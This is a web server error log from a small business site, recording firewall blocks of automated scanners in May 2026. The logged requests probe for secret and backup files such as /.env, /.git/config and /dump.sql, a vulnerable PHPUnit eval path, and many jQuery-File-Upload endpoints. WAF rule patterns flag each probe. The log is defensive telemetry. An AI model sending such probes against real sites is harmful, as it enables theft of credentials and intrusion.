[Sat May 23 11:49:41.295463 2026] [:error] [pid 30941:tid 30978] [client 103.168.67.36:7250] [client 103.168.67.36] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.agraphics.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe6AAAAEI"]
[Sat May 23 11:49:41.295581 2026] [:error] [pid 30941:tid 30978] [client 103.168.67.36:7250] [client 103.168.67.36] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1XTIgjSDhiZmvlVe6AAAAEI"]
[Sat May 23 11:49:42.618432 2026] [:error] [pid 30941:tid 30993] [client 103.168.67.36:7244] [client 103.168.67.36] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.agraphics.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1nTIgjSDhiZmvlVe6wAAAFE"]
[Sat May 23 11:49:42.618510 2026] [:error] [pid 30941:tid 30993] [client 103.168.67.36:7244] [client 103.168.67.36] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ahEj1nTIgjSDhiZmvlVe6wAAAFE"]
[Sun May 24 00:01:28.421436 2026] [:error] [pid 44296:tid 44310] [client 115.187.36.53:52077] [client 115.187.36.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.187.36.53, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahHPWJdrUdFI6ijvMkmxygAAAUw"]
[Sun May 24 00:01:28.433448 2026] [proxy_fcgi:error] [pid 44296:tid 44310] [client 115.187.36.53:52077] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:11:58.134366 2026] [proxy_fcgi:error] [pid 50872:tid 50925] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:11:58.396532 2026] [proxy_fcgi:error] [pid 50872:tid 50936] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:11:58.669883 2026] [proxy_fcgi:error] [pid 50872:tid 50931] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:11:58.984169 2026] [proxy_fcgi:error] [pid 50872:tid 50919] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:11:59.260753 2026] [proxy_fcgi:error] [pid 50872:tid 50933] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:12:00.060066 2026] [proxy_fcgi:error] [pid 50872:tid 50937] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:12:00.760853 2026] [proxy_fcgi:error] [pid 50872:tid 50923] [client 192.109.200.215:63173] AH01071: Got error 'Primary script unknown'
[Sun May 24 04:12:01.423439 2026] [:error] [pid 50872:tid 50913] [client 192.109.200.215:63173] [client 192.109.200.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ahIKEUbX_GQ5p_34ISZK7QAAAEA"]
[Sun May 24 04:12:15.562247 2026] [:error] [pid 58918:tid 58935] [client 192.109.200.215:53819] [client 192.109.200.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "ahIKH6T5tvv40jh4HYbjoAAAAY8"]
[Sun May 24 04:12:15.840106 2026] [:error] [pid 58521:tid 58545] [client 192.109.200.215:53811] [client 192.109.200.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "ahIKH2u03QVCX-cF2G-66gAAARY"]
[Sun May 24 06:19:55.418974 2026] [:error] [pid 50872:tid 50937] [client 188.68.52.231:50026] [client 188.68.52.231] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/dump.sql"] [unique_id "ahIoC0bX_GQ5p_34ISZZwQAAAFg"], referer: agraphics.com.au/dump.sql
[Sun May 24 07:07:07.428012 2026] [autoindex:error] [pid 58918:tid 58928] [client 185.169.4.152:58519] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 24 19:47:59.617969 2026] [:error] [pid 4777:tid 4800] [client 34.9.240.117:49895] [client 34.9.240.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.240.117, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahLlb_tPctoQOm4w5pOKIAAAAdI"]
[Sun May 24 19:47:59.626965 2026] [proxy_fcgi:error] [pid 4777:tid 4800] [client 34.9.240.117:49895] AH01071: Got error 'Primary script unknown'
[Sun May 24 19:48:01.690421 2026] [:error] [pid 4777:tid 4805] [client 34.9.240.117:49895] [client 34.9.240.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahLlcftPctoQOm4w5pOKKgAAAdc"]
[Sun May 24 19:48:02.213980 2026] [:error] [pid 49775:tid 49796] [client 34.9.240.117:59067] [client 34.9.240.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahLlcovZb8G6T8WpI1islgAAABM"]
[Sun May 24 19:48:02.661943 2026] [:error] [pid 23497:tid 23500] [client 34.9.240.117:63838] [client 34.9.240.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahLlciPlV47QcYwd2v8NvQAAAUA"]
[Sun May 24 19:48:03.590135 2026] [:error] [pid 23497:tid 23516] [client 34.9.240.117:52315] [client 34.9.240.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahLlcyPlV47QcYwd2v8NvgAAAVA"]
[Sun May 24 20:46:44.335924 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:58390] [client 134.199.171.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ahLzNIRn5s7laoSxy1QJdAAAAFY"]
[Sun May 24 20:46:44.468883 2026] [:error] [pid 11280:tid 11293] [client 134.199.171.224:51952] [client 134.199.171.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ahLzNIRn5s7laoSxy1QJdQAAAEg"]
[Sun May 24 20:46:44.774377 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:58426] [client 134.199.171.224] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ahLzNIRn5s7laoSxy1QJfAAAAEI"]
[Sun May 24 20:46:44.836818 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:58404] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJgQAAAEc"]
[Sun May 24 20:46:44.850073 2026] [:error] [pid 11368:tid 11373] [client 134.199.171.224:58452] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahLzNIfq_sTmmtTKm1UV7QAAAQM"]
[Sun May 24 20:46:44.850535 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:58426] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJgwAAAEE"]
[Sun May 24 20:46:44.852713 2026] [:error] [pid 11282:tid 11342] [client 134.199.171.224:58418] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahLzNO0bPyN3C7HZ1R-M8QAAAMI"]
[Sun May 24 20:46:44.854498 2026] [:error] [pid 11280:tid 11294] [client 134.199.171.224:58428] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJhAAAAEk"]
[Sun May 24 20:46:44.862621 2026] [:error] [pid 11368:tid 11377] [client 134.199.171.224:58442] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNIfq_sTmmtTKm1UV7gAAAQc"]
[Sun May 24 20:46:44.891530 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:58476] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJhQAAAEs"]
[Sun May 24 20:46:44.893118 2026] [:error] [pid 11280:tid 11305] [client 134.199.171.224:58466] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJhgAAAFQ"]
[Sun May 24 20:46:44.894067 2026] [:error] [pid 11281:tid 11317] [client 134.199.171.224:58484] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahLzNJKmC9taWvA91j5z9AAAAIQ"]
[Sun May 24 20:46:44.896632 2026] [:error] [pid 11280:tid 11291] [client 134.199.171.224:58500] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJhwAAAEY"]
[Sun May 24 20:46:44.905932 2026] [:error] [pid 11281:tid 11331] [client 134.199.171.224:58506] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNJKmC9taWvA91j5z9QAAAJI"]
[Sun May 24 20:46:44.906976 2026] [:error] [pid 11280:tid 11301] [client 134.199.171.224:58514] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJiAAAAFA"]
[Sun May 24 20:46:44.910117 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:58528] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJiQAAAFY"]
[Sun May 24 20:46:44.935731 2026] [:error] [pid 11280:tid 11293] [client 134.199.171.224:58542] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJigAAAEg"]
[Sun May 24 20:46:44.937918 2026] [:error] [pid 11280:tid 11306] [client 134.199.171.224:58548] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJiwAAAFU"]
[Sun May 24 20:46:44.938119 2026] [:error] [pid 11280:tid 11290] [client 134.199.171.224:58556] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJjAAAAEU"]
[Sun May 24 20:46:44.939654 2026] [:error] [pid 11280:tid 11304] [client 134.199.171.224:58554] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJjQAAAFM"]
[Sun May 24 20:46:44.940572 2026] [:error] [pid 11280:tid 11299] [client 134.199.171.224:58574] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJjgAAAE4"]
[Sun May 24 20:46:44.949552 2026] [:error] [pid 11280:tid 11303] [client 134.199.171.224:58576] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJjwAAAFI"]
[Sun May 24 20:46:44.950957 2026] [:error] [pid 11280:tid 11288] [client 134.199.171.224:58584] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJkAAAAEM"]
[Sun May 24 20:46:44.953181 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:58586] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJkQAAAEI"]
[Sun May 24 20:46:44.957038 2026] [:error] [pid 11280:tid 11300] [client 134.199.171.224:58588] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJkgAAAE8"]
[Sun May 24 20:46:44.969870 2026] [:error] [pid 11280:tid 11309] [client 134.199.171.224:58590] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJkwAAAFg"]
[Sun May 24 20:46:44.971902 2026] [:error] [pid 11280:tid 11298] [client 134.199.171.224:58602] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahLzNIRn5s7laoSxy1QJlAAAAE0"]
[Sun May 24 20:46:44.983085 2026] [:error] [pid 11368:tid 11380] [client 134.199.171.224:58622] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahLzNIfq_sTmmtTKm1UV7wAAAQo"]
[Sun May 24 20:46:44.983410 2026] [:error] [pid 11281:tid 11324] [client 134.199.171.224:58612] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNJKmC9taWvA91j5z9gAAAIs"]
[Sun May 24 20:46:44.991119 2026] [:error] [pid 11281:tid 11333] [client 134.199.171.224:58636] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNJKmC9taWvA91j5z9wAAAJQ"]
[Sun May 24 20:46:44.999597 2026] [:error] [pid 11281:tid 11323] [client 134.199.171.224:58648] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahLzNJKmC9taWvA91j5z-AAAAIo"]
[Sun May 24 20:46:45.000810 2026] [:error] [pid 11282:tid 11359] [client 134.199.171.224:58656] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahLzNe0bPyN3C7HZ1R-M8gAAANM"]
[Sun May 24 20:46:45.012502 2026] [:error] [pid 11282:tid 11354] [client 134.199.171.224:58668] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahLzNe0bPyN3C7HZ1R-M8wAAAM4"]
[Sun May 24 20:46:45.015724 2026] [:error] [pid 11280:tid 11295] [client 134.199.171.224:58670] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJlgAAAEo"]
[Sun May 24 20:46:45.024811 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:58676] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJlwAAAEc"]
